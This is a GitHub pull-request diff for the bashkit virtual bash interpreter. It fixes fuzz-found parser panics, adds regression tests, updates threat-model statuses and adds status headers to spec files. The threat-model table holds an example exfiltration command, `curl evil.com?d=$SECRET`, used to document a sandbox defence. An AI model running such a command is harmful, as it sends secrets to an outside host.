Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions crates/bashkit/docs/threat-model.md
Original file line number Diff line number Diff line change
Expand Up @@ -114,8 +114,8 @@ Scripts may attempt to leak sensitive information.
| Env var leak (TM-INF-001) | `echo $SECRET` | Caller responsibility | See below |
| Host info (TM-INF-005) | `hostname` | Returns virtual value | [`builtins/system.rs`][system] |
| Network exfil (TM-INF-010) | `curl evil.com?d=$SECRET` | Network allowlist | [`network/allowlist.rs`][allowlist] |
| Host env via jq (TM-INF-013) | jq `env` exposes host env | Custom env impl | **OPEN** |
| Real PID leak (TM-INF-014) | `$$` returns real PID | Return virtual value | **OPEN** |
| Host env via jq (TM-INF-013) | jq `env` exposes host env | Custom env via `$__bashkit_env__` | **FIXED** |
| Real PID leak (TM-INF-014) | `$$` returns real PID | Returns virtual PID (1) | **FIXED** |
| Error msg info leak (TM-INF-016) | Errors expose host paths/IPs | Sanitize error messages | **OPEN** |

**Caller Responsibility (TM-INF-001):**
Expand Down
51 changes: 50 additions & 1 deletion crates/bashkit/src/interpreter/mod.rs
Original file line number Diff line number Diff line change
Expand Up @@ -7649,8 +7649,11 @@ impl Interpreter {
let base_str = &expr[..hash_pos];
let value_str = &expr[hash_pos + 1..];
if let Ok(base) = base_str.parse::<u32>() {
if (2..=64).contains(&base) {
if (2..=36).contains(&base) {
return i64::from_str_radix(value_str, base).unwrap_or(0);
} else if (37..=64).contains(&base) {
// Bash bases 37-64 use: 0-9, a-z, A-Z, @, _
return Self::parse_base_n(value_str, base);
}
}
}
Expand All @@ -7667,6 +7670,26 @@ impl Interpreter {
expr.trim().parse().unwrap_or(0)
}

/// Parse a number in base 37-64 using bash's extended charset: 0-9, a-z, A-Z, @, _
fn parse_base_n(value_str: &str, base: u32) -> i64 {
let mut result: i64 = 0;
for ch in value_str.chars() {
let digit = match ch {
'0'..='9' => ch as u32 - '0' as u32,
'a'..='z' => 10 + ch as u32 - 'a' as u32,
'A'..='Z' => 36 + ch as u32 - 'A' as u32,
'@' => 62,
'_' => 63,
_ => return 0,
};
if digit >= base {
return 0;
}
result = result.wrapping_mul(base as i64).wrapping_add(digit as i64);
}
result
}

/// Expand a variable by name, checking local scope, positional params, shell vars, then env
/// Expand a string as a variable reference, or return as literal.
/// Used for associative array keys which may be variable refs or literals.
Expand Down Expand Up @@ -9596,6 +9619,32 @@ mod tests {
assert_eq!(result.exit_code, 0);
}

/// Regression test for fuzz crash: base > 36 in arithmetic
/// (crash-802347e7f64e6cb69da447b343e4f16081ffe48d)
#[tokio::test]
async fn test_arithmetic_base_gt_36_no_panic() {
let result = run_script("echo $(( 64#A ))").await;
assert_eq!(result.exit_code, 0);
// 64#A = 36 (A is position 36 in the extended charset)
assert_eq!(result.stdout.trim(), "36");
}

#[tokio::test]
async fn test_arithmetic_base_gt_36_special_chars() {
// @ = 62, _ = 63 in bash base-64 encoding
let result = run_script("echo $(( 64#@ ))").await;
assert_eq!(result.stdout.trim(), "62");
let result = run_script("echo $(( 64#_ ))").await;
assert_eq!(result.stdout.trim(), "63");
}

#[tokio::test]
async fn test_arithmetic_base_gt_36_invalid_digit() {
// Invalid char for base — should return 0
let result = run_script("echo $(( 37#! ))").await;
assert_eq!(result.exit_code, 0);
}

#[tokio::test]
async fn test_eval_respects_parser_limits() {
let fs: Arc<dyn FileSystem> = Arc::new(InMemoryFs::new());
Expand Down
12 changes: 11 additions & 1 deletion crates/bashkit/src/parser/lexer.rs
Original file line number Diff line number Diff line change
Expand Up @@ -310,7 +310,7 @@ impl<'a> Lexer<'a> {
// Check patterns: "N>" "N>>" "N>&" "N<" "N<&"
if fd_str.len() == 1 {
if let Some(first_digit) = fd_str.chars().next() {
let rest = &input_remaining[1..]; // Skip the digit we already matched
let rest = input_remaining.get(1..).unwrap_or(""); // Skip the digit we already matched

if rest.starts_with(">>") {
// N>> - append redirect with fd
Expand Down Expand Up @@ -1774,4 +1774,14 @@ mod tests {
assert_eq!(lexer.next_token(), Some(Token::Word("arr=".to_string())));
assert_eq!(lexer.next_token(), Some(Token::LeftParen));
}

/// Regression test for fuzz crash: single digit at EOF should not panic
/// (crash-13c5f6f887a11b2296d67f9857975d63b205ac4b)
#[test]
fn test_digit_at_eof_no_panic() {
// A lone digit with no following redirect operator must not panic
let mut lexer = Lexer::new("2");
let token = lexer.next_token();
assert!(token.is_some());
}
}
4 changes: 2 additions & 2 deletions crates/bashkit/tests/threat_model_tests.rs
Original file line number Diff line number Diff line change
Expand Up @@ -158,8 +158,8 @@ mod resource_exhaustion {
let elapsed = start.elapsed();

// Should complete quickly due to either timeout or loop limit.
// Under ASan/tarpaulin the overhead can be ~20x, so use a generous bound.
assert!(elapsed < Duration::from_secs(30));
// Under ASan/Miri the overhead can be ~200x, so use a very generous bound.
assert!(elapsed < Duration::from_secs(300));
}
}

Expand Down
3 changes: 0 additions & 3 deletions deny.toml
Original file line number Diff line number Diff line change
Expand Up @@ -31,9 +31,6 @@ exceptions = []
[advisories]
# Ignore unmaintained transitive dependencies we can't control
ignore = [
# atomic-polyfill: transitive via monty -> postcard -> heapless (--all-features only)
# No security impact; upstream (monty) needs to update
"RUSTSEC-2023-0089",
# instant: transitive via bashkit-bench (dev/bench only)
# No security impact; bench-only dependency
"RUSTSEC-2024-0384",
Expand Down
4 changes: 4 additions & 0 deletions specs/005-security-testing.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,9 @@
# Security Testing with Fail Points

## Status

Implemented

## Overview

Bashkit uses [fail-rs](https://github.com/tikv/fail-rs) for fault injection security testing. This enables systematic testing of error handling paths and resource limit enforcement under failure conditions.
Expand Down
4 changes: 4 additions & 0 deletions specs/006-threat-model.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,9 @@
# Bashkit Threat Model

## Status

Living document

## Overview

Bashkit is a virtual bash interpreter for multi-tenant environments, primarily designed for AI agent script execution. This document analyzes security threats and mitigations.
Expand Down
4 changes: 4 additions & 0 deletions specs/007-parallel-execution.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,9 @@
# Parallel Execution

## Status

Implemented

## Threading Model

- Single `Bash` instance: sequential (`&mut self`)
Expand Down
4 changes: 4 additions & 0 deletions specs/008-documentation.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,9 @@
# 008: Documentation Approach

## Status

Implemented

## Decision

Use `include_str!` macro to embed external markdown files into rustdoc as documentation modules.
Expand Down
4 changes: 4 additions & 0 deletions specs/008-release-process.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,9 @@
# Release Process

## Status

Implemented

## Abstract

This document describes the release process for Bashkit. Releases are initiated by asking a coding agent to prepare the release, with CI automation handling the rest.
Expand Down
4 changes: 4 additions & 0 deletions specs/012-eval.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,9 @@
# Spec 012: bashkit-eval — LLM Evaluation Harness

## Status

Implemented

## Purpose

Evaluate how well LLM models use bashkit's bash tool in agentic workloads. Measure model capability across bash feature categories, identify bashkit compatibility gaps, and drive improvement.
Expand Down
4 changes: 4 additions & 0 deletions specs/013-python-package.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,9 @@
# Python Package

## Status

Implemented

## Abstract

Bashkit ships a Python package as pre-built binary wheels on PyPI. Users install with
Expand Down
4 changes: 4 additions & 0 deletions specs/014-scripted-tool-orchestration.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,9 @@
# Spec 014: Scripted Tool Orchestration

## Status

Implemented

## Summary

Compose tool definitions (`ToolDef`) + execution callbacks into a single `ScriptedTool` that accepts bash scripts. Each sub-tool becomes a builtin command, letting LLMs orchestrate N tools in one call using pipes, variables, loops, and conditionals.
Expand Down
Loading